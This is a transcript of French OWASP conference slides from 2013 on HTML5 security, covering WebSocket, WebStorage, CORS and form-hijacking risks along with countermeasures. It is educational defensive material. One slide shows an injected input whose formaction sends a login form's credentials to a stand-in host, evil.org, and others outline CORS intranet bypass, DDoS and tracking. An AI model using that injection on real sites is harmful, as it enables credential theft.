2013 04-04-html5-security-v2

142
et la sécurité un point d’étape Sébas3en Gioria OWASP France Leader GSDays 4 Avril 2013 Paris France Friday, April 5, 13

Transcript of 2013 04-04-html5-security-v2

Page 1: 2013 04-04-html5-security-v2

et  la  sécuritéun  point  d’étape

Sébas3en  GioriaOWASP  France  Leader  GSDays  -­‐  4  Avril  2013  -­‐  Paris  -­‐    France

Friday, April 5, 13

Page 2: 2013 04-04-html5-security-v2

http://www.google.fr/#q=sebastien gioria

‣OWASP France Leader & Founder - Evangéliste

‣OWASP Global Education Comittee Member ([email protected])

‣Consultant Indépendant en Sécurité Applicative

Twitter :@SPoint

2Friday, April 5, 13

Page 3: 2013 04-04-html5-security-v2

Agenda

• Un  peu  d’histoire• HTML5  pour  les  nuls  en  4mn  2s• Nouvelles  a;aques  et  protec>ons  ?• Références

3Oui,  vous  avez  bien  lu  quelque  chose  ici

Friday, April 5, 13

Page 4: 2013 04-04-html5-security-v2

Delorean  Passion

201320001995

4

HTML  2.0

HTML  4.0 HTML  5  ?

CSS  2

1998 2006

CSS  3

JavaScriptla  DOM

XmlH;pRequest

1993

HTML  1.0

Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on

Friday, April 5, 13

Page 5: 2013 04-04-html5-security-v2

Delorean  Passion

201320001995

4

HTML  2.0

HTML  4.0 HTML  5  ?

CSS  2

1998 2006

CSS  3

JavaScriptla  DOM

XmlH;pRequest

1993

HTML  1.0

Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on

Friday, April 5, 13

Page 6: 2013 04-04-html5-security-v2

Delorean  Passion

201320001995

4

HTML  2.0

HTML  4.0 HTML  5  ?

CSS  2

1998 2006

CSS  3

JavaScriptla  DOM

XmlH;pRequest

1993

HTML  1.0

20  ans,  noces  de  porcelaine...

Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on

Friday, April 5, 13

Page 7: 2013 04-04-html5-security-v2

L’état  de  la  norme

5par  contre  il  y  a  d’autres  animaux...

Friday, April 5, 13

Page 8: 2013 04-04-html5-security-v2

Eléments  intéressants  de  HTML5

6mais  pas  dans  ce  slide

Friday, April 5, 13

Page 9: 2013 04-04-html5-security-v2

4mn  2s

• Nouvelles  balises– On  n’est  pas  la  pour  parler  de  peinture...

• Nouvelles  APIs–WebSocket–WebMessaging–IndexedDB–OffLine  Web  ApplicaBon–WebStorage  (votre  nouveau  DropBox  ?  ...)–Cross  Origin  Ressource  Sharing  (déja  rien  que  le  nom  est  intéressant...)

7Ni  dans  celui  la....

Friday, April 5, 13

Page 10: 2013 04-04-html5-security-v2

4mn  2s

• WebSocket : Permet d’effectuer des connexions persistantes et bi-directionnelles•mécanisme  de  “Push”  possible• interface  en  cours  de  finalisaBon/spécificaBons•nécessite  un  serveur  “compaBble”•API  minimaliste  (send,  receive  via  event)•hPp://www.w3.org/TR/websockets/

8en  meme  temps,  des  animaux  dans  ce;e  présenta>on  pourquoi  ?  

Friday, April 5, 13

Page 11: 2013 04-04-html5-security-v2

4mn  2s

• WebMessaging : communication inter-documents HTML• via  la  méthode  window.postMessage();•pas  de  garanBe  de  contenu  inoffensif  (ie;  pas  de  filtre  de  type  anB-­‐XSS  ....)

• vérificaBon  de  l’origine  a  la  charge  de  l’applicaBon  receptrice.

• il  est  possible  de  transporter  du  JSON  :)•hPp://www.w3.org/TR/webmessaging/

9tout  seimplement  parcequ’elle  a  été  finalisée  à  Paques

Friday, April 5, 13

Page 12: 2013 04-04-html5-security-v2

4mn  2s

• IndexedDB; la Web SQL Database...•API  synchrone  et  asynchrone•pensée  pour  JavaScript;  stockage  d’objets  •hPp://www.w3.org/TR/IndexedDB/

10me;re  des  oeufs  était  difficile

Friday, April 5, 13

Page 13: 2013 04-04-html5-security-v2

4mn  2s

• Offline Web Applications: possibilité d’exécuter tout ou partie des applications même non connecté.–via  navigator.onLine–mise  en  cache  des  données  nécessaires(HTML,  CSS,  JavaScript...)

–hPp://www.w3.org/TR/html5/offline.html

11et  du  chocolat  aussi

Friday, April 5, 13

Page 14: 2013 04-04-html5-security-v2

4mn  2s

• WebStorage : donne la capacité au navigateur de stocker jusqu’a 5Mo à 10Mo de données•deux  type  de  stockage  :  local  ou  de  session•possibilité  de  stocker  des  objets  JSON•possibilité  de  stocker  de  manière  régulière•hPp://www.w3.org/TR/webstorage/

12

Friday, April 5, 13

Page 15: 2013 04-04-html5-security-v2

Sécurité  ?

13

Friday, April 5, 13

Page 16: 2013 04-04-html5-security-v2

Modèle  de  sécurité  HTML5

14

Internet

Interface  U>lisateur

DOM

JavaScript

HTML/CSS

Page/Appli

Sandbox/SOP

HTTP/XHR/WebSockets

Friday, April 5, 13

Page 17: 2013 04-04-html5-security-v2

Modèle  de  sécurité  HTML5

14

Internet

Interface  U>lisateur

DOM

JavaScript

HTML/CSS

Page/Appli

Sandbox/SOP

HTTP/XHR/WebSockets

Friday, April 5, 13

Page 18: 2013 04-04-html5-security-v2

Modèle  de  sécurité  HTML5

14

Internet

Interface  U>lisateur

DOM

JavaScript

HTML/CSS

Page/Appli

Sandbox/SOP

HTTP/XHR/WebSockets

Friday, April 5, 13

Page 19: 2013 04-04-html5-security-v2

Modèle  de  sécurité  HTML5

14

Internet

Interface  U>lisateur

DOM

JavaScript

HTML/CSS

APIs  Stockage  (Web,  SQL,  ..)

Page/Appli

Sandbox/SOP

HTTP/XHR/WebSockets

Friday, April 5, 13

Page 20: 2013 04-04-html5-security-v2

Modèle  de  sécurité  HTML5

14

Internet

Interface  U>lisateur

DOM

JavaScript

HTML/CSS

APIs  Stockage  (Web,  SQL,  ..)

API  GeoLoc

Page/Appli

Sandbox/SOP

HTTP/XHR/WebSockets

Friday, April 5, 13

Page 21: 2013 04-04-html5-security-v2

Modèle  de  sécurité  HTML5

14

Internet

Interface  U>lisateur

DOM

JavaScript

HTML/CSS

APIs  Stockage  (Web,  SQL,  ..)

API  GeoLoc API  ...

Page/Appli

Sandbox/SOP

HTTP/XHR/WebSockets

Friday, April 5, 13

Page 22: 2013 04-04-html5-security-v2

FalsificaBon  de  Forms

15

• Il  est  possible  de  contrôler  une  Forms  en  dehors  de  l’élément  “form”

<form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /></form>

<input form=“myform” type=“submit” name=“…” value=“Advanced Version”/>

Friday, April 5, 13

Page 23: 2013 04-04-html5-security-v2

FalsificaBon  Forms

16

<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>

Friday, April 5, 13

Page 24: 2013 04-04-html5-security-v2

FalsificaBon  Forms

16

<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>

Si  on  arrive  à  injecter  ce  code

Friday, April 5, 13

Page 25: 2013 04-04-html5-security-v2

FalsificaBon  Forms

16

<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>

New VIP section of the site is open!<input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” />

Si  on  arrive  à  injecter  ce  code

Friday, April 5, 13

Page 26: 2013 04-04-html5-security-v2

FalsificaBon  Forms

16

<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>

New VIP section of the site is open!<input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” />

Si  on  arrive  à  injecter  ce  code

Friday, April 5, 13

Page 27: 2013 04-04-html5-security-v2

FalsificaBon  Forms

16

<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>

New VIP section of the site is open!<input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” />

Si  on  arrive  à  injecter  ce  code

Automa3quement,  evil.org  dispose  des  éléments  et  la  Forms  ini3ale  est  appelée

Friday, April 5, 13

Page 28: 2013 04-04-html5-security-v2

Protocol/content  Handlers

17

• Il  est  possible  d’enregistrer  des  handlers  de  protocole  ou  de  type  de  fichiers  personalisés  

• sms://• applica>on/pdf

Il  est  possible  (mais  pas  recommandé)  de  changer  les  handlers  standards  (dépend  des  navigateurs)Il  n’est  pas  obligatoire  de  demander  à  l’u3lisateur  son  autorisa3on  

Friday, April 5, 13

Page 29: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  1/4

• XHR  ne  peut  dialoguer  qu’avec  le  site  Web  originaire  du  JavaScript

18non,  vous  avez  bien  lu...Un  boeuf  !  

Friday, April 5, 13

Page 30: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  1/4

• XHR  ne  peut  dialoguer  qu’avec  le  site  Web  originaire  du  JavaScript

18non,  vous  avez  bien  lu...Un  boeuf  !  

Friday, April 5, 13

Page 31: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  1/4

• XHR  ne  peut  dialoguer  qu’avec  le  site  Web  originaire  du  JavaScript

18

Mais  c’etait  sans  compter  les  boeufs  !

non,  vous  avez  bien  lu...Un  boeuf  !  

Friday, April 5, 13

Page 32: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  1/4

• XHR  ne  peut  dialoguer  qu’avec  le  site  Web  originaire  du  JavaScript

18

HTTP/1.1 200 OKContent-Type: text/htmlAccess-Control-Allow-Origin: http://internal.example.com

Mais  c’etait  sans  compter  les  boeufs  !

non,  vous  avez  bien  lu...Un  boeuf  !  

Friday, April 5, 13

Page 33: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Page 34: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Page 35: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Page 36: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Page 37: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Page 38: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranet

GET  /  H

TTP/1.1

Friday, April 5, 13

Page 39: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranet

GET  /  H

TTP/1.1

Friday, April 5, 13

Page 40: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranet HTTP/1.1  200  Ok

Access-­‐Con

trol-­‐Allow-­‐Orig

in:  *

GET  /  H

TTP/1.1

Friday, April 5, 13

Page 41: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranet HTTP/1.1  200  Ok

Access-­‐Con

trol-­‐Allow-­‐Orig

in:  *

GET  /  H

TTP/1.1

Friday, April 5, 13

Page 42: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Page 43: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

 GET  /  HTTP/1.1  

poc.ckers.fr

intranetFriday, April 5, 13

Page 44: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

 GET  /  HTTP/1.1  

poc.ckers.fr

intranetFriday, April 5, 13

Page 45: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Page 46: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

HTTP/1.1  200  Ok<script>XMLH;pRequest...

poc.ckers.fr

intranetFriday, April 5, 13

Page 47: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

HTTP/1.1  200  Ok<script>XMLH;pRequest...

poc.ckers.fr

intranetFriday, April 5, 13

Page 48: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Page 49: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

XMLH

TTPR

eque

st

poc.ckers.fr

intranetFriday, April 5, 13

Page 50: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

XMLH

TTPR

eque

st

poc.ckers.fr

intranetFriday, April 5, 13

Page 51: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Page 52: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

HTTP/1.1  200  Ok

Access-­‐Con

trol-­‐Allow-­‐Orig

in:  *

poc.ckers.fr

intranetFriday, April 5, 13

Page 53: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

HTTP/1.1  200  Ok

Access-­‐Con

trol-­‐Allow-­‐Orig

in:  *

poc.ckers.fr

intranetFriday, April 5, 13

Page 54: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

HTTP/1.1  200  Ok

Access-­‐Con

trol-­‐Allow-­‐Orig

in:  *

poc.ckers.fr

intranetFriday, April 5, 13

Page 55: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

HTTP/1.1  200  Ok

Access-­‐Con

trol-­‐Allow-­‐Orig

in:  *

poc.ckers.fr

intranetFriday, April 5, 13

Page 56: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Page 57: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

POST  /endpoint  HTTP/1.1.....(contenu  de  la  page  interne)

poc.ckers.fr

intranetFriday, April 5, 13

Page 58: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 59: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 60: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 61: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 62: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 63: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

 GET  /  HTTP/1.1  

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 64: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

 GET  /  HTTP/1.1  

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 65: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 66: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

HTTP/1.1  200  Ok<iframe  src=...

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 67: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 68: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 69: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 70: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 71: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

XMLH;pRequest

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 72: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 73: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 74: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

XMLH;pRequest

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 75: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 76: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 77: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

XMLH;pRequest

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 78: 2013 04-04-html5-security-v2

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Page 79: 2013 04-04-html5-security-v2

Cross  Origin  Resource  

• Contre-­‐mesures  :  •RestricBon  du  domaine•Ne  pas  faire  confiance  à  l’entete;  elle  peut  être  modifiée  par  l’aPaquant.

•MePre  en  place  des  contre-­‐mesures  réseaux  

21franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on....

Friday, April 5, 13

Page 80: 2013 04-04-html5-security-v2

Cross  Origin  Resource  

• Contre-­‐mesures  :  •RestricBon  du  domaine•Ne  pas  faire  confiance  à  l’entete;  elle  peut  être  modifiée  par  l’aPaquant.

•MePre  en  place  des  contre-­‐mesures  réseaux  

21franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on....

Friday, April 5, 13

Page 81: 2013 04-04-html5-security-v2

Cross  Origin  Resource  

• Contre-­‐mesures  :  •RestricBon  du  domaine•Ne  pas  faire  confiance  à  l’entete;  elle  peut  être  modifiée  par  l’aPaquant.

•MePre  en  place  des  contre-­‐mesures  réseaux  

21

pour  les  DDOS

franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on....

Friday, April 5, 13

Page 82: 2013 04-04-html5-security-v2

Cross  Origin  Resource  

• Contre-­‐mesures  :  •RestricBon  du  domaine•Ne  pas  faire  confiance  à  l’entete;  elle  peut  être  modifiée  par  l’aPaquant.

•MePre  en  place  des  contre-­‐mesures  réseaux  

21

pour  les  DDOS

franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on....

Friday, April 5, 13

Page 83: 2013 04-04-html5-security-v2

Cross  Origin  Resource  

• Contre-­‐mesures  :  •RestricBon  du  domaine•Ne  pas  faire  confiance  à  l’entete;  elle  peut  être  modifiée  par  l’aPaquant.

•MePre  en  place  des  contre-­‐mesures  réseaux  

21

débrancher  le  cable....

pour  les  DDOS

franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on....

Friday, April 5, 13

Page 84: 2013 04-04-html5-security-v2

WebStorage

• Pas  de  contrôle  de  la  part  de  l’u>lisateur  sur  ce  qui  est  stocké/accéder➡DOS  via  les  disques  par  remplissage

• L’injec>on  de  Javascript  peut  bypasser  la  limita>on  du  contrôle  d’accès.➡Vol  de  Sessions➡Vol  de  données  sensibles➡Tracking  d’uBlisateurs

22

Friday, April 5, 13

Page 85: 2013 04-04-html5-security-v2

All  you  disk  is  belong  to  US  ?

23bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo

Friday, April 5, 13

Page 86: 2013 04-04-html5-security-v2

All  you  disk  is  belong  to  US  ?

• Par  défaut  WebStorage  limite  a  quelques  méga  l’espace  disque  par  origine  (2.5Mb  à  10Mb)  

23bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo

Friday, April 5, 13

Page 87: 2013 04-04-html5-security-v2

All  you  disk  is  belong  to  US  ?

• Par  défaut  WebStorage  limite  a  quelques  méga  l’espace  disque  par  origine  (2.5Mb  à  10Mb)  

• La  norme  dit  que  chaque  origine  n’a  pas  forcément  5Mb.  Mais...

23bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo

Friday, April 5, 13

Page 88: 2013 04-04-html5-security-v2

All  you  disk  is  belong  to  US  ?

• Par  défaut  WebStorage  limite  a  quelques  méga  l’espace  disque  par  origine  (2.5Mb  à  10Mb)  

• La  norme  dit  que  chaque  origine  n’a  pas  forcément  5Mb.  Mais...

23bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo

Friday, April 5, 13

Page 89: 2013 04-04-html5-security-v2

All  you  disk  is  belong  to  US  ?

• Par  défaut  WebStorage  limite  a  quelques  méga  l’espace  disque  par  origine  (2.5Mb  à  10Mb)  

• La  norme  dit  que  chaque  origine  n’a  pas  forcément  5Mb.  Mais...

23bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo

Friday, April 5, 13

Page 90: 2013 04-04-html5-security-v2

All  you  disk  is  belong  to  US  ?

• Par  défaut  WebStorage  limite  a  quelques  méga  l’espace  disque  par  origine  (2.5Mb  à  10Mb)  

• La  norme  dit  que  chaque  origine  n’a  pas  forcément  5Mb.  Mais...

23

• En  cours  de  correc>on,  mais  démonstra>on  intéressante....

• Tests  à  h;p://www.filldisk.com/

bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo

Friday, April 5, 13

Page 91: 2013 04-04-html5-security-v2

WebStorage

• Tracking  User

24

Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface  l’historique  (ni  quand  on  qui]e  le  navigateur)

J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement....

Friday, April 5, 13

Page 92: 2013 04-04-html5-security-v2

WebStorage

• Tracking  User

24

Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface  l’historique  (ni  quand  on  qui]e  le  navigateur)

J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement....

Friday, April 5, 13

Page 93: 2013 04-04-html5-security-v2

WebStorage

• Tracking  User

24

Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface  l’historique  (ni  quand  on  qui]e  le  navigateur)

Il  est  donc  possible  de  créer  des  iden3fiants  (de  type  cookies)  persistants  perme]ant  de  suivre  l’u3lisateur

J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement....

Friday, April 5, 13

Page 94: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 95: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 96: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 97: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 98: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 99: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 100: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

HTTP/1.1  200  Ok

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 101: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

HTTP/1.1  200  Ok

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 102: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

Upgrade  WebSocket

HTTP/1.1  200  Ok

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 103: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

Upgrade  WebSocket

HTTP/1.1  200  Ok

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 104: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 105: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 106: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

Tunnel  TCP  Full  Duplex

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 107: 2013 04-04-html5-security-v2

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

Tunnel  TCP  Full  Duplex

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Page 108: 2013 04-04-html5-security-v2

Websocket  Menaces

• Parmi  les  a;aques  possibles,  certaines  sont  triviales:  • Shell  Distant  •Botnet  Web  

•via  un  XSS  ou  tout  simplement  en  se  connectant  à  un  site  Web.

•Port  scanning...

26

Friday, April 5, 13

Page 109: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 110: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 111: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 112: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 113: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 114: 2013 04-04-html5-security-v2

WebSocket

